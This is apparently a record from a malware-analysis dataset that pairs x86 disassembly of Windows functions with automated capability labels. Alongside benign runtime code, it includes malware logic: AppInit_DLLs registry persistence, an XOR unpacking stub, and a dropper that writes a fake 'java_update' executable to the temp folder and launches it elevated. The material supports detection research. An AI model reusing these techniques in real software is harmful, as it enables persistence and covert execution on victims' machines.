joyce8/EMBER2024-capa huggingface dataset:
Function at 0x46ae22
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov edx, dword [ebp + 8]
and eax, 0x3f
push ebx
mov ebx, dword [ebp + 0xc]
sar edx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [edx*4 + 0x492d68]
mov dword [ebp - 8], edx
mov edx, dword [eax + edi + 0x18]
mov dword [ebp - 0x18], edx
mov edx, dword [ebp + 0x10]
test edx, edx
je 0x46ae66
push 0xa
pop esi
cmp word [ebx], si
jne 0x46ae66
or byte [eax + edi + 0x28], 4
jmp 0x46ae6b
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + edx*2]
mov eax, ebx
mov dword [ebp - 0x10], edx
mov esi, ebx
cmp ebx, edx
jae 0x46afd6
movzx edx, word [eax]
mov ecx, edx
mov dword [ebp - 0xc], ecx
movzx ecx, cx
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 8]
cmp edx, 0x1a
je 0x46afae
lea ebx, [eax + 2]
mov dword [ebp - 4], ebx
push 0xd
pop ebx
cmp dx, bx
mov ebx, dword [ebp + 0xc]
je 0x46aeb8
mov ebx, dword [ebp - 0x14]
mov edx, esi
mov eax, dword [ebp - 4]
movzx ebx, bx
mov dword [ebp - 4], ebx
jmp 0x46aee2
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jae 0x46af01
push 0xa
pop ebx
cmp word [edx], bx
jne 0x46aecf
push ebx
add eax, 4
pop edx
jmp 0x46aed7
mov eax, edx
mov edx, dword [ebp - 0xc]
movzx edx, dx
movzx edx, dx
mov dword [ebp - 4], edx
mov edx, esi
mov dword [ebp - 0x14], esi
mov ecx, dword [ebp - 4]
mov ebx, dword [ebp + 0xc]
mov dword [ebp - 0xc], 2
mov word [esi], cx
mov esi, dword [ebp - 0xc]
add esi, edx
cmp eax, dword [ebp - 0x10]
jb 0x46ae7d
jmp 0x46afd6
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x46afa9
cmp dword [ebp - 0x14], 0
je 0x46afa9
mov eax, dword [ebp - 8]
push 0xa
mov eax, dword [eax*4 + 0x492d68]
test byte [eax + edi + 0x28], 0x48
pop eax
je 0x46af85
mov dx, word [ebp - 4]
cmp dx, ax
jne 0x46af4d
mov word [esi], ax
jmp 0x46afd3
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebp - 8]
movzx ecx, dx
shr ecx, 8
push 0xa
mov eax, dword [eax*4 + 0x492d68]
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x492d68]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x492d68]
pop ecx
mov byte [eax + edi + 0x2c], cl
jmp 0x46afd3
cmp word [ebp - 4], ax
jne 0x46af8f
cmp esi, ebx
je 0x46af45
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0046b861
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x46afd6
push 0xd
pop eax
jmp 0x46af45
mov eax, ecx
and ecx, 0x3f
sar eax, 6
imul ecx, ecx, 0x38
mov edi, dword [eax*4 + 0x492d68]
mov al, byte [edi + ecx + 0x28]
test al, 0x40
jne 0x46afd0
or al, 2
mov byte [edi + ecx + 0x28], al
jmp 0x46afd6
mov word [esi], dx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x46dd5d
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x491240]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x46dda8
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.0046def6
test al, al
jne 0x46dda2
sub edx, 2
cmp edx, edi
jne 0x46dd88
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x46ddca
lea eax, [edi + 2]
cmp edx, eax
je 0x46ddca
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0046dca9
add esp, 0x10
jmp 0x46dec2
push esi
lea ecx, [ebp - 0x255]
call fcn.0046def6
sub edx, edi
xor ecx, ecx
sar edx, 1
inc edx
test al, al
lea eax, [ebp - 0x254]
cmovne ecx, edx
xor ebx, ebx
push ebx
push ebx
push ebx
push eax
push ebx
push edi
mov dword [ebp - 0x260], ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x46de0b
push dword [ebp - 0x25c]
jmp 0x46ddba
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x46de48
cmp word [ebp - 0x226], 0
je 0x46de69
cmp word [ebp - 0x226], ax
jne 0x46de48
cmp word [ebp - 0x224], 0
je 0x46de69
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0046dca9
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x46deb5
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x46de22
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x46de9d
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x46dec2
push 0x46dad9
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.0045bd00
add esp, 0x10
jmp 0x46de92
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00451845
leave
ret

Function at 0x470ebb
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.004679c7
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x470f2a
cmp esi, dword [ebp - 4]
je 0x470f25
cmp dword [ebp + 0xc], 0
je 0x470f25
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x470f02
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.00470a10
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x470f2c
xor eax, eax
inc eax
jmp 0x470f2c
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x470f9a
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x491240]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.004679c7
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.004679c7
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x471011
cmp word [ecx], dx
je 0x471011
mov eax, dword [0x48104c]
push edi
dec eax
push eax
push 0x480f38
call fcn.00470f30
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x471084
cmp word [eax], dx
je 0x471084
mov eax, dword [edi]
test eax, eax
je 0x471035
cmp word [eax], dx
je 0x471035
lea eax, [ebp - 0x10]
push eax
call fcn.00470916
jmp 0x47103e
lea eax, [ebp - 0x10]
push eax
call fcn.004709b1
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x4710ae
mov eax, dword [0x480f34]
push dword [ebp - 0x14]
dec eax
push eax
push 0x480c28
call fcn.00470f30
add esp, 0xc
test al, al
je 0x4710ae
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x471079
cmp word [eax], di
je 0x471079
lea eax, [ebp - 0x10]
push eax
call fcn.00470916
pop ecx
jmp 0x4710b0
lea eax, [ebp - 0x10]
push eax
call fcn.004709b1
jmp 0x471076
mov eax, dword [edi]
test eax, eax
je 0x47109b
cmp word [eax], dx
je 0x47109b
lea eax, [ebp - 0x10]
push eax
call fcn.004708cb
pop ecx
jmp 0x4710ae
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x471179
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.00470db5
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x471179
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x471179
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x471179
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x471106
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0046a90c
test ebx, ebx
je 0x471174
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0046a90c
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x471179
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x471179
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.004748b0
add esp, 0x10
xor eax, eax
inc eax
jmp 0x47117b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00451845
leave
ret
Function at 0x474f45
Capabilities:
Clear file content

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov ebx, dword [ebp + 8]
lea ecx, [ebp - 0x2c]
push esi
push edi
push dword [ebp + 0x10]
mov edi, dword [ebp + 0x14]
push dword [ebp + 0xc]
push ebx
call fcn.00474ec1
mov eax, dword [ebp - 0x2c]
and eax, dword [ebp - 0x28]
cmp eax, 0xffffffff
je 0x4750b4
mov eax, dword [ebp - 0x24]
and eax, dword [ebp - 0x20]
cmp eax, 0xffffffff
je 0x4750b4
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test ecx, ecx
jl 0x475069
jg 0x474fa1
test eax, eax
je 0x47505f
push 1
push 0x1000
call fcn.00467d30
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x474fc4
push 0xc
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x475056
push 0x8000
push ebx
call fcn.004647e4
pop ecx
pop ecx
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
test eax, eax
jl 0x474fed
jg 0x474fe8
cmp ecx, 0x1000
jb 0x474fed
mov ecx, 0x1000
push edi
push ecx
push esi
push ebx
call fcn.0046879d
add esp, 0x10
cmp eax, 0xffffffff
je 0x475032
mov ecx, dword [ebp - 4]
cdq
sub ecx, eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], ecx
sbb eax, edx
mov dword [ebp - 8], eax
test eax, eax
jg 0x474fe8
jl 0x475019
test ecx, ecx
jne 0x474fda
push dword [ebp - 0xc]
push ebx
call fcn.004647e4
push esi
call fcn.004689c0
add esp, 0xc
xor ebx, ebx
jmp 0x4750c2
cmp byte [edi + 0x24], 0
je 0x475049
cmp dword [edi + 0x20], 5
jne 0x475049
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], 0xd
cmp byte [edi + 0x1c], 0
je 0x475054
mov ebx, dword [edi + 0x18]
jmp 0x475056
xor ebx, ebx
push esi
call fcn.004689c0
pop ecx
jmp 0x4750c2
test ecx, ecx
jg 0x47502b
jl 0x475069
test eax, eax
jae 0x47502b
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0046b861
and eax, edx
add esp, 0x10
cmp eax, 0xffffffff
jne 0x475089
cmp byte [edi + 0x1c], 0
je 0x47502b
jmp 0x4750ba
push ebx
call fcn.0046eec2
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x47502b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push 0xd
mov byte [edi + 0x24], 1
mov dword [edi + 0x20], eax
pop ebx
mov byte [edi + 0x1c], 1
mov dword [edi + 0x18], ebx
jmp 0x4750c2
cmp byte [edi + 0x1c], 0
je 0x4750bf
mov ebx, dword [edi + 0x18]
jmp 0x4750c2
push 0x16
pop ebx
push 0
push dword [ebp - 0x28]
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.0046b861
add esp, 0x10
mov eax, ebx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x476020
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x47604d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x47604d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x785b2d20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
lea esi, [ebp + 0xc]
sub esp, 0x10
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x1b
lea ebx, [eax + 0x40]
mov dword [esp + 4], 1
mov dword [esp + 0xc], ebx
mov dword [esp], 0x785b5168
call sym._fwrite
mov eax, dword [ebp + 8]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call dword [sym.imp.msvcrt.dll_vfprintf]
call sym._abort
lea esi, [esi]
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
nop
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x3a803f1a
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x433060
nop
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x1efb1b1f
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x431219
Function at 0x4013a0
Capabilities:
Persist via appinit_dlls registry key
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x1c]
push eax
push 3
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWindows
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4013de
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040281c
mov esp, ebp
pop ebp
ret
mov eax, 0x44bd30
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4013e6
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
sub eax, edx
mov edx, dword [ebp - 0x1c]
sar eax, 1
lea ecx, [eax + eax]
push ecx
push 0x44bd30
push 1
push 0
push str.AppInit_DLLs
push edx
call esi
test eax, eax
jne 0x4013cd
mov ecx, dword [ebp - 0x1c]
push 4
lea eax, [ebp - 0x20]
push eax
push 4
push 0
push str.LoadAppInit_DLLs
push ecx
mov dword [ebp - 0x20], 1
call esi
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [0x40ab24]
mov edx, dword [0x40ab28]
mov eax, dword [0x40ab20]
mov dword [ebp - 0x10], ecx
mov ecx, dword [0x40ab30]
mov dword [ebp - 0xc], edx
mov edx, dword [0x40ab34]
mov dword [ebp - 0x14], eax
mov eax, dword [0x40ab2c]
mov dword [ebp - 0x28], ecx
mov ecx, dword [0x40ab38]
mov dword [ebp - 0x24], edx
xor edx, edx
or ecx, dword [0x40ab3c]
mov dword [ebp - 8], eax
mov dword [ebp - 0x18], edx
mov eax, 0x40ab38
je 0x4014a0
lea esp, [esp]
mov ecx, dword [eax + 0xc]
add eax, 8
add edx, 8
or ecx, dword [eax]
jne 0x401490
mov dword [ebp - 0x18], edx
lea eax, [ebp - 0x28]
push eax
lea ecx, [ebp - 0x14]
push ecx
push 0x40ab38
push 0x40ab38
call fcn.00401200
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push 0x44bd30
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4014f5
mov eax, dword [ebp - 0x18]
push 0
lea edx, [ebp - 0x18]
push edx
push eax
push 0x40ab38
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov al, 1
pop esi
call fcn.0040281c
mov esp, ebp
pop ebp
ret
Function at 0x401e80
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push edi
push 0x200
lea eax, [ebp - 0x404]
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameW]
push 0
push 0
push 3
push 0
push 1
push SysReAllocString
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401edc
xor eax, eax
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040281c
mov esp, ebp
pop ebp
ret
push esi
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edx, dword [0x44b890]
mov dword [ebp - 0x408], eax
add eax, 0x100
push eax
push 8
push edx
call dword [sym.imp.KERNEL32.DLL_HeapAlloc]
mov ecx, dword [ebp - 0x408]
push 0
mov esi, eax
lea eax, [ebp - 0x408]
push eax
push ecx
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [ebp - 0x408]
mov ecx, dword [0x44b8a4]
lea eax, [esi + edx]
mov dword [eax], ecx
mov edx, dword [0x44b8a8]
push 0x44b894
push 0x44b8a4
mov dword [eax + 4], edx
call fcn.00401170
mov eax, dword [ebp - 0x408]
mov ecx, dword [ebp - 4]
add eax, 8
mov dword [ebx], eax
mov eax, esi
pop esi
xor ecx, ebp
pop edi
call fcn.0040281c
mov esp, ebp
pop ebp
ret

Function at 0x401f70
Capabilities:
Check os version
Delete file
Move file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40c
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
lea ebx, [ebp - 0x40c]
jmp loc.0045b000
Function at 0x402100
Capabilities:
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x444
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
lea ebx, [ebp - 0x408]
call fcn.00401e80
mov ebx, eax
xor edi, edi
cmp ebx, edi
je 0x4022bf
push esi
lea ecx, [ecx]
lea eax, [ebp - 0x404]
push eax
push 0x200
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
lea esi, [ebp - 0x404]
cmp word [ebp - 0x404], di
je 0x402159
add esi, 2
cmp word [esi], di
jne 0x402151
cmp word [esi - 2], 0x5c
je 0x40216b
mov ecx, 0x5c
mov word [esi], cx
add esi, 2
mov edx, str.java_update_
mov ecx, 0x6a
sub edx, esi
jmp 0x402180
movzx eax, word [edx + esi + 2]
mov word [esi], cx
add esi, 2
mov ecx, eax
cmp ax, di
jne 0x402180
xor edx, edx
mov word [esi], dx
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov ecx, esi
call fcn.004012d0
mov edx, str..exe
mov esi, 0x2e
sub edx, eax
mov word [eax], si
movzx ecx, word [edx + eax + 2]
add eax, 2
mov esi, ecx
cmp cx, di
jne 0x4021b0
push edi
push edi
push 2
push edi
push 1
push 0x40000000
lea edx, [ebp - 0x404]
xor ecx, ecx
push edx
mov word [eax], cx
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x4022af
mov ecx, dword [ebp - 0x408]
push edi
lea eax, [ebp - 0x408]
push eax
push ecx
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov edx, dword [0x44b890]
push ebx
push edi
push edx
call dword [sym.imp.KERNEL32.DLL_HeapFree]
push 0x3c
lea eax, [ebp - 0x444]
push edi
push eax
call fcn.00405cd0
add esp, 0xc
lea edx, [ebp - 0x444]
lea ecx, [ebp - 0x404]
push edx
mov dword [ebp - 0x444], 0x3c
mov dword [ebp - 0x438], str.runas
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x43c], edi
mov dword [ebp - 0x430], edi
mov dword [ebp - 0x428], 1
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x4022be
push 0x1388
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
lea ebx, [ebp - 0x408]
call fcn.00401e80
mov ebx, eax
cmp ebx, edi
jne 0x402130
pop esi
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040281c
mov esp, ebp
pop ebp
ret
mov ecx, dword [0x44b890]
push ebx
push edi
push ecx
call dword [sym.imp.KERNEL32.DLL_HeapFree]
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0040281c
mov esp, ebp
pop ebp
ret
Function at 0x40281c
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40a004]
jne 0x402826
repz ret
jmp fcn.00402a2b

Function at 0x40488b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x40a004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004037d3
and dword [ebp - 0x14], 0
cmp dword [0x44b84c], 0
mov dword [ebp - 0x18], eax
jne 0x40493e
push str.USER32.DLL
call dword [sym.imp.KERNEL32.DLL_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4049e6
mov edi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4049e6
mov esi, dword [sym.imp.KERNEL32.DLL_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x44b84c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x44b850], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x44b854], eax
call edi
push eax
call esi
mov dword [0x44b85c], eax
test eax, eax
je 0x40493e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x44b858], eax
mov eax, dword [0x44b858]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.DLL_DecodePointer]
cmp eax, ecx
je 0x404997
cmp dword [0x44b85c], ecx
je 0x404997
push eax
call esi
push dword [0x44b85c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x404997
test ebx, ebx
je 0x404997
call edi
test eax, eax
je 0x40498e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40498e
test byte [ebp - 8], 1
jne 0x404997
or dword [ebp + 0x10], 0x200000
jmp 0x4049ca
mov eax, dword [0x44b850]
cmp eax, dword [ebp - 0x18]
je 0x4049ca
push eax
call esi
test eax, eax
je 0x4049ca
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4049ca
mov eax, dword [0x44b854]
cmp eax, dword [ebp - 0x18]
je 0x4049ca
push eax
call esi
test eax, eax
je 0x4049ca
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x44b84c]
call esi
test eax, eax
je 0x4049e6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4049e8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040281c
leave
ret